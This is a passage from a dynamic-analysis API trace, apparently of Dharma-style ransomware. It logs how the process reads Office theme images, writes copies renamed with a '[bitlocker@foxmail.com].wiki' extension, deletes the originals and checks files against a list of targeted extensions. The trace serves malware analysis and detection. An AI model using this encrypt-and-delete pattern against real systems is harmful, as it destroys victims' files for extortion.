Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0051.938] lstrlenW (lpString=".jpg") returned 4 [0051.938] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.938] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0051.938] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.938] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=28595) returned 1 [0051.938] CloseHandle (hObject=0x1e8) returned 1 [0051.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20 [0051.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.938] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.938] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0051.939] GetLastError () returned 0x0 [0051.939] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x6fb3, lpOverlapped=0x0) returned 1 [0051.941] WriteFile (in: hFile=0x18c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x6fc0, lpOverlapped=0x0) returned 1 [0051.942] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.942] WriteFile (in: hFile=0x18c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.942] SetEndOfFile (hFile=0x18c) returned 1 [0051.943] CloseHandle (hObject=0x18c) returned 1 [0051.943] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.943] SetEndOfFile (hFile=0x1e8) returned 1 [0051.944] CloseHandle (hObject=0x1e8) returned 1 [0051.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0051.945] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 1 [0051.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0051.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0051.945] lstrlenW (lpString=".doc") returned 4 [0051.945] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.945] lstrlenW (lpString=".docx") returned 5 [0051.945] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.945] lstrlenW (lpString=".pdf") returned 4 [0051.945] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.945] lstrlenW (lpString=".xls") returned 4 [0051.945] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.945] lstrlenW (lpString=".xlsx") returned 5 [0051.945] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.945] lstrlenW (lpString=".ppt") returned 4 [0051.945] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0051.945] lstrlenW (lpString=".zip") returned 4 [0051.945] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.945] lstrlenW (lpString=".rar") returned 4 [0051.945] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.945] lstrlenW (lpString=".bz2") returned 4 [0051.945] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.945] lstrlenW (lpString=".7z") returned 3 [0051.945] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0051.945] lstrlenW (lpString=".dbf") returned 4 [0051.945] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0051.946] lstrlenW (lpString=".1cd") returned 4 [0051.946] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0051.946] lstrlenW (lpString=".jpg") returned 4 [0051.946] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0051.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0051.946] lstrlenW (lpString=".doc") returned 4 [0051.946] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.946] lstrlenW (lpString=".docx") returned 5 [0051.946] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.946] lstrlenW (lpString=".pdf") returned 4 [0051.946] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.946] lstrlenW (lpString=".xls") returned 4 [0051.946] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.946] lstrlenW (lpString=".xlsx") returned 5 [0051.946] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.946] lstrlenW (lpString=".ppt") returned 4 [0051.946] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0051.946] lstrlenW (lpString=".zip") returned 4 [0051.946] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.946] lstrlenW (lpString=".rar") returned 4 [0051.946] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.946] lstrlenW (lpString=".bz2") returned 4 [0051.946] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.946] lstrlenW (lpString=".7z") returned 3 [0051.946] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0051.946] lstrlenW (lpString=".dbf") returned 4 [0051.946] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0051.946] lstrlenW (lpString=".1cd") returned 4 [0051.946] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0051.946] lstrlenW (lpString=".jpg") returned 4 [0051.947] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.947] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0051.947] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.947] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3957) returned 1 [0051.947] CloseHandle (hObject=0x1e8) returned 1 [0051.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0051.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.947] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.947] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0051.949] GetLastError () returned 0x0 [0051.949] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0xf75, lpOverlapped=0x0) returned 1 [0051.951] WriteFile (in: hFile=0x18c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xf80, lpOverlapped=0x0) returned 1 [0051.952] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.952] WriteFile (in: hFile=0x18c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.952] SetEndOfFile (hFile=0x18c) returned 1 [0051.952] CloseHandle (hObject=0x18c) returned 1 [0051.953] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.953] SetEndOfFile (hFile=0x1e8) returned 1 [0051.953] CloseHandle (hObject=0x1e8) returned 1 [0051.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0051.954] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 1 [0051.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0051.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0051.954] lstrlenW (lpString=".doc") returned 4 [0051.954] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.954] lstrlenW (lpString=".docx") returned 5 [0051.954] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.954] lstrlenW (lpString=".pdf") returned 4 [0051.954] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.954] lstrlenW (lpString=".xls") returned 4 [0051.954] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.954] lstrlenW (lpString=".xlsx") returned 5 [0051.954] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.954] lstrlenW (lpString=".ppt") returned 4 [0051.954] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0051.954] lstrlenW (lpString=".zip") returned 4 [0051.954] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.954] lstrlenW (lpString=".rar") returned 4 [0051.954] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.954] lstrlenW (lpString=".bz2") returned 4 [0051.954] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.955] lstrlenW (lpString=".7z") returned 3 [0051.955] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0051.955] lstrlenW (lpString=".dbf") returned 4 [0051.955] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0051.955] lstrlenW (lpString=".1cd") returned 4 [0051.955] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0051.955] lstrlenW (lpString=".jpg") returned 4 [0051.955] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0051.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0051.955] lstrlenW (lpString=".doc") returned 4 [0051.955] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.955] lstrlenW (lpString=".docx") returned 5 [0051.955] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.955] lstrlenW (lpString=".pdf") returned 4 [0051.955] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.955] lstrlenW (lpString=".xls") returned 4 [0051.955] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.955] lstrlenW (lpString=".xlsx") returned 5 [0051.955] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.955] lstrlenW (lpString=".ppt") returned 4 [0051.955] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0051.955] lstrlenW (lpString=".zip") returned 4 [0051.955] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.955] lstrlenW (lpString=".rar") returned 4 [0051.955] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.955] lstrlenW (lpString=".bz2") returned 4 [0051.955] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.955] lstrlenW (lpString=".7z") returned 3 [0051.955] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0051.956] lstrlenW (lpString=".dbf") returned 4 [0051.956] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0051.956] lstrlenW (lpString=".1cd") returned 4 [0051.956] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0051.956] lstrlenW (lpString=".jpg") returned 4 [0051.956] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.956] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0051.956] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0052.159] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=33277) returned 1 [0052.159] CloseHandle (hObject=0x1f0) returned 1 [0052.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20 [0052.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0052.160] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.160] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.160] GetLastError () returned 0x0 [0052.160] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x81fd, lpOverlapped=0x0) returned 1 [0052.280] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x8200, lpOverlapped=0x0) returned 1 [0052.281] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.281] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.281] SetEndOfFile (hFile=0x1e8) returned 1 [0052.281] CloseHandle (hObject=0x1e8) returned 1 [0052.282] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.282] SetEndOfFile (hFile=0x1f0) returned 1 [0052.282] CloseHandle (hObject=0x1f0) returned 1 [0052.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0052.283] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 1 [0052.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0052.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0052.283] lstrlenW (lpString=".doc") returned 4 [0052.283] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.283] lstrlenW (lpString=".docx") returned 5 [0052.283] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.283] lstrlenW (lpString=".pdf") returned 4 [0052.283] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.283] lstrlenW (lpString=".xls") returned 4 [0052.283] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.283] lstrlenW (lpString=".xlsx") returned 5 [0052.283] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.283] lstrlenW (lpString=".ppt") returned 4 [0052.283] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0052.283] lstrlenW (lpString=".zip") returned 4 [0052.283] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.283] lstrlenW (lpString=".rar") returned 4 [0052.283] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.283] lstrlenW (lpString=".bz2") returned 4 [0052.283] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.283] lstrlenW (lpString=".7z") returned 3 [0052.283] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0052.283] lstrlenW (lpString=".dbf") returned 4 [0052.284] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0052.284] lstrlenW (lpString=".1cd") returned 4 [0052.284] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0052.284] lstrlenW (lpString=".jpg") returned 4 [0052.284] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0052.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0052.284] lstrlenW (lpString=".doc") returned 4 [0052.284] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.284] lstrlenW (lpString=".docx") returned 5 [0052.284] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.284] lstrlenW (lpString=".pdf") returned 4 [0052.284] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.284] lstrlenW (lpString=".xls") returned 4 [0052.284] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.284] lstrlenW (lpString=".xlsx") returned 5 [0052.284] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.284] lstrlenW (lpString=".ppt") returned 4 [0052.284] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0052.284] lstrlenW (lpString=".zip") returned 4 [0052.284] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.284] lstrlenW (lpString=".rar") returned 4 [0052.284] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.284] lstrlenW (lpString=".bz2") returned 4 [0052.284] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.284] lstrlenW (lpString=".7z") returned 3 [0052.284] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0052.284] lstrlenW (lpString=".dbf") returned 4 